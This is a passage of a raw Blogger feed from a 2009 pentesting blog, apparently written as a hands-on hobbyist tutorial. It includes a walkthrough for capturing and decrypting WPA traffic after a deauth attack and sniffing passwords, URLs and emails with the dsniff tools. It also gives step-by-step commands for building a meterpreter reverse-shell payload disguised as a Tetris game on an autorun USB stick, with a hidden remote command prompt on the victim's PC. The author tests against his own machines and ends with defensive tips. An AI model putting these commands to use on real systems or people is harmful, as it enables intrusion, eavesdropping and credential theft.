margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This will start a GUI in a seperate window&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First click on the connect icon at the top left to establish a connection with the local server.&lt;br /&gt;&lt;br /&gt;You will be prompted for your password that was entered when adding the user (in this case &lt;span style="color: lime;"&gt;toor&lt;/span&gt;). &lt;br /&gt;Upon clicking OK you will be prompted to choose&amp;nbsp; the level of SSL paranoia (choose top one).&lt;br /&gt;Then finally you will be prompted to accept the certificate.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client3.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client3.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client4.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client5.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client5.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client6.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client6.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Client will load the plugins and dependancies from the server and upon completion, you will see "Connection: root@localhost" in the bottom right.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client8.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/client8.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At this stage the client is prepped, loaded and ready to get going, just a few quick steps away from getting a scan going !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;b&gt;Part 2 will show setting up for a simple Vulnerability check.&lt;/b&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-4936695698742206750?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/4936695698742206750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/vulnerability-assessments-using-openvas.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/4936695698742206750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/4936695698742206750'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/vulnerability-assessments-using-openvas.html' title='Vulnerability assessments using OpenVAS  - Setting up'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-1231203806035095334</id><published>2009-09-21T17:38:00.018+02:00</published><updated>2009-09-24T08:05:27.691+02:00</updated><title type='text'>Analyzing / Monitoring network captures with dsniff</title><content type='html'>If you readily have access to the network, be it open or encrypted with WEP or WPA, the capture files can show a lot of information on what the target network was up to.&lt;br /&gt;The toolsuite dsniff, consists of dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf and webspy.&lt;br /&gt;&lt;br /&gt;I'll be looking at ; &lt;br /&gt;&lt;span style="color: yellow;"&gt;urlsnarf&lt;/span&gt; shows the websites (urls) which were visited&lt;br /&gt;&lt;span style="color: yellow;"&gt;driftnet&lt;/span&gt; can show pics of websites visited... (ooffff...)&lt;br /&gt;&lt;span style="color: yellow;"&gt;dsniff&lt;/span&gt; can show passwords used in webforms&lt;br /&gt;&lt;span style="color: yellow;"&gt;mailsnarf &lt;/span&gt;shows downloaded emails&lt;br /&gt;&lt;br /&gt;Basically what we are doing is;&lt;br /&gt;&amp;gt; capturing network traffic using airodump&lt;br /&gt;&amp;gt; decrypting the network traffic using airdecap&lt;br /&gt;&amp;gt; replaying the network traffic using tcpreplay&lt;br /&gt;and using the above tools to check out the network session.&lt;br /&gt;&lt;br /&gt;First stop is to identify our network that we want to monitor.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;airmon-ng&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;airmon-ng start wlan0&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;airodump-ng mon0&lt;br /&gt;&lt;/div&gt;&lt;a href="http://img195.imageshack.us/img195/1614/airodmp1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img195.imageshack.us/img195/1614/airodmp1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Locate the network, specify channel, bssid and output file.&lt;br /&gt;&lt;div style="color: lime;"&gt;airodump-ng mon0 -c 4 --bssid 00:11:22:33:44:55 -w wpa&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;As we are capturing from a WPA network, and want to decrypt lateron, a handshake needs to be in the capture file.&lt;br /&gt;(The packets will only be decrypted as from the moment the handshake is obtained) &lt;br /&gt;So after starting the airodump capture, start a new console and deauth a user forcing that user to reconnect ensuring the handshake will be in the capture file ;&lt;br /&gt;(Here i did the deauth attack twice just to be sure the capture would be included)&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;aireplay-ng mon0 -0 -5 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img114.imageshack.us/img114/1601/deauth.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img114.imageshack.us/img114/1601/deauth.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;In airodump we will see the handshake captured in the top right of the screen. &lt;br /&gt;&lt;a href="http://img114.imageshack.us/img114/5915/airodmp2.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img114.imageshack.us/img114/5915/airodmp2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now we (the target PC) happily browse away and after a while stop the airodump capture.&lt;br /&gt;&lt;br /&gt;To decrypt the WPA capture file, we will use airdecap-ng.&lt;br /&gt;Tto correctly decrypt we need the network ESSID, the capture file with handshake and the WPA passphrase.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;airdecap-ng -e ESSID -p 'wpa_password' wpa-01.cap&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img114.imageshack.us/img114/1989/airdecap.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img114.imageshack.us/img114/1989/airdecap.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If successfull, you will see x amount of packages decrypted and there will be a new file; wpa-01-dec.cap&lt;br /&gt;This is the decrypted cap file.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Now to see what results we were able to obtain !&lt;br /&gt;&lt;br /&gt;Open a new console and startup urlsnarf, specifying the local interface;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;urlsnarf -i lo&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;To replay the network session, we use tcpreplay on the local interface using the decrypted file ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;tcpreplay -i lo wpa-01-dec.cap&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;In the console running urlsnarf you will see details coming by of the websites visited.&lt;br /&gt;&lt;br /&gt;To speed up the replay, you can use the -t option to go as fast as is possible.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;tcpreplay -i lo -t wpa-01-dec.cap&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;When the replay is completed it simply stops and you can close the close the other consoles after checking what you wanted to check.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img97.imageshack.us/img97/2601/tcpreplay.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img97.imageshack.us/img97/2601/tcpreplay.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;You can run the tools together ;&lt;br /&gt;Open up seperate consoles for each tool, again specifying the local interface.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;dsniff -i lo&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;mailsnarf -i lo&lt;br /&gt;&lt;/div&gt;&lt;div style="color: lime;"&gt;driftnet -i lo&lt;br /&gt;&lt;/div&gt;(driftnet opens up a seperate driftnet window showing the pictures)&lt;br /&gt;&lt;br /&gt;Then when those are up, open a console and run &lt;span style="color: lime;"&gt;tcpreplay -i lo wpa-01-dec.cap&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;After visiting several sites, entering passwords to sites, checking my email on Outlook Express, checking several semi-decent sites ... *cough* ... my results were ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;urlsnarf &lt;/span&gt;&lt;br /&gt;works well in showing the urls visited, nothing to remark on there. &lt;br /&gt;Below the results of checking out one of UK's "finest" newspapers...&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img223.imageshack.us/img223/9981/urlsnrf.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img223.imageshack.us/img223/9981/urlsnrf.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;driftnet &lt;/span&gt;&lt;br /&gt;Did not show the amount of pics I was expecting to see.. but does show quite a few, it depends on the sort of sites visited, will need to do some more checking on this one.&lt;br /&gt;Below he result of browsing through said newspaper in the driftnet window.. What class.. !&lt;br /&gt;If NSFW.. emigrate.. ;)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img114.imageshack.us/img114/7625/driftnet.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img114.imageshack.us/img114/7625/driftnet.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;dsniff &lt;/span&gt;&lt;br /&gt;Only worked on 1 out 5 passworded sites I tried, not too impressed, but quite relieved to be honest !&lt;br /&gt;The results from a browser game I am into;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img28.imageshack.us/img28/9233/dsniff.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img28.imageshack.us/img28/9233/dsniff.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;mailsnarf &lt;/span&gt;&lt;br /&gt;sometimes showed emails I downloaded from Outlook Express, sometimes didn't.&lt;br /&gt;When I had several mails it showed them, when I only 1 to download, it didnt, part of a result of the time it did work ;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img223.imageshack.us/img223/1126/mailsnrf.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://img223.imageshack.us/img223/1126/mailsnrf.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All in all not a flawless result, but definately interesting and entertaining !.&lt;br /&gt;&lt;br /&gt;As yet I have been unable to get webspy working using tcpreplay, a shame as webspy is reportedly able to&lt;br /&gt;show realtime internet use in a browser window, which I had hoped would be able to be done using tcpreplay as well. &lt;br /&gt;Have to look deeper into this later on.&lt;br /&gt;&lt;br /&gt;I will be looking further into how to get maximum results from these tools and updating this post accordingly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-1231203806035095334?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/1231203806035095334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/monitoring-network-with-dsniff-urlsnarf.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/1231203806035095334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/1231203806035095334'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2009/09/monitoring-network-with-dsniff-urlsnarf.html' title='Analyzing / Monitoring network captures with dsniff'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-1424670380651363962</id><published>2009-09-14T11:59:00.027+02:00</published><updated>2009-11-12T08:18:25.979+01:00</updated><title type='text'>Access to network --&gt; Some SE --&gt; Access to PC</title><content type='html'>So after gaining access to the network, the goal is to gain access to another PC on my network.&lt;br /&gt;&lt;br /&gt;In this case I will be creating a payload to be run on the computer I want to access.&lt;br /&gt;&lt;br /&gt;Gratz to Gitsnik for the assistance in getting through the parts where I got stuck :D&lt;br /&gt;&lt;br /&gt;Using &lt;span style="color: red;"&gt;back|track 4 Pre Final&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Open up a shell&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;cd /pentest/exploits/framework3/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 X &amp;gt; payload.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;192.168.1.101 being the IP address of the machine I am running back|track from.&lt;br /&gt;(the "attacker")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msfpayload.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msfpayload.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This payload.exe is the file we need to be executed on the PC on our network we would like to access.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To re-enact a more real-world situation, I have done the following;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&amp;gt;&lt;/span&gt; Got a small USB drive and renamed it to "TETRIS"&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&amp;gt;&lt;/span&gt; Renamed the payload.exe to tetris.exe and copied to the root of a USB drive.&lt;br /&gt;Changed the attributes of tetris.exe to 'hidden'.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&amp;gt;&lt;/span&gt; Copied a real tetris executable to the root of the USB drive and re-named to -TETRIS-.exe.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&amp;gt;&lt;/span&gt; Created a batch file "start.bat" to run both tetris.exe &amp;amp; -TETRIS-.exe&lt;br /&gt;&lt;span style="color: #ffff33;"&gt;start -TETRIS-.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #ffff33;"&gt;start tetris.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Changed attributes of start.bat to 'hidden'.&lt;br /&gt;&lt;br /&gt;Created an autorun file to run the batch file, copying the icon from the real tetris executable&lt;br /&gt;and including an action to the start-up menu ; "PLAY TETRIS".&lt;br /&gt;&lt;span style="color: #ffff33;"&gt;[autorun]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #ffff33;"&gt;icon=-TETRIS-.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #ffff33;"&gt;label=TETRIS&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #ffff33;"&gt;action=PLAY TETRIS!&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #ffff33;"&gt;ShellExecute=start.bat&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Changed attributes of autorun.inf to 'hidden'.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On my main PC the settings are such that autorun is disabled, and to show all hidden and system files.&lt;br /&gt;So when opening the drive it looks like this ;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img509.imageshack.us/img509/8540/tetrisusb.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img509.imageshack.us/img509/8540/tetrisusb.jpg" style="cursor: pointer; float: left; height: 399px; margin: 0pt 10px 10px 0pt; width: 750px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On most stock installs of windows autorun is on and the settings are to hide hidden files from view, so when inserting the USB you would see this ;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/usb_autorun1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/usb_autorun1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To start up the session, we first need to create a session the attacking PC, with which to communicate with the payload.&lt;br /&gt;&lt;br /&gt;In a shell;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;cd /pentest/exploits/framework3/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;./msfconsole&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then in msfconsole;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;use multi/handler&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;set payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;set LHOST 192.168.1.101&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;exploit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img3.imageshack.us/img3/6771/snapshot3sb.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img3.imageshack.us/img3/6771/snapshot3sb.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 666px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now we insert the USB into a stock windows machine (target), consider ourselves witless and click on OK..&lt;br /&gt;wait for the connection on our attacking machine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/usb_autorun1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/usb_autorun1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Following clicking OK the target pc is presented with a brief glimpse of a command-prompt window advising starting tetris.exe and -TETRIS-.exe, followed by a (working) Tetris game opening;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img182.imageshack.us/img182/1130/tetrisf.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img182.imageshack.us/img182/1130/tetrisf.jpg" style="cursor: pointer; float: left; height: 457px; margin: 0pt 10px 10px 0pt; width: 342px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Seeing a command prompt opening and running a couple of exe files would wake most people up,&lt;br /&gt;but most people dont seem to worry about what is happening on the pc as long as it 'does what they want it to do'.&lt;br /&gt;&lt;br /&gt;You can also edit the start.bat file to ;&lt;br /&gt;&lt;span style="color: yellow;"&gt;@ echo off&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;start -TETRIS-.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="color: yellow;"&gt;start tetris.exe&lt;/span&gt;&lt;br /&gt;This will still briefly open up a command prompt, but no information will be shown on what it is doing.&lt;br /&gt;&lt;br /&gt;After the tetris.exe is executed on the target's machine, the msfconsole should start a session and the screen should change to;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;meterpreter &amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msfconsole.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/msfconsole.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can then type ;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;execute -f cmd.exe -c -H -i&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This should get you a command prompt, hidden from sight by the actual user of the target's machine (-H), but under your control and you are able to browse through the targets pc etc.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img509.imageshack.us/img509/8721/snapshot5y.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img509.imageshack.us/img509/8721/snapshot5y.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 666px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img525.imageshack.us/img525/2118/snapshot6o.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img525.imageshack.us/img525/2118/snapshot6o.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 666px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img3.imageshack.us/img3/1975/snapshot7ed.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://img3.imageshack.us/img3/1975/snapshot7ed.jpg" style="cursor: pointer; float: left; height: 370px; margin: 0pt 10px 10px 0pt; width: 666px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NOTE!&lt;br /&gt;If there is any type of firewall installed, it will ask for permission to allow 'tetris.exe' to access the internet.&lt;br /&gt;As the user is running a tetris program, this could fool the user into accepting this.&lt;br /&gt;&lt;br /&gt;So goes to show..&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color: red;"&gt;TURN AUTORUN OFF&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;&amp;gt;&lt;/span&gt; be very careful about what you plug into your system&lt;br /&gt;&lt;span style="color: #33ff33;"&gt;&amp;gt;&lt;/span&gt; Make sure you know precisely what you are allowing to access the internet..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;i&gt;edit&lt;/i&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: 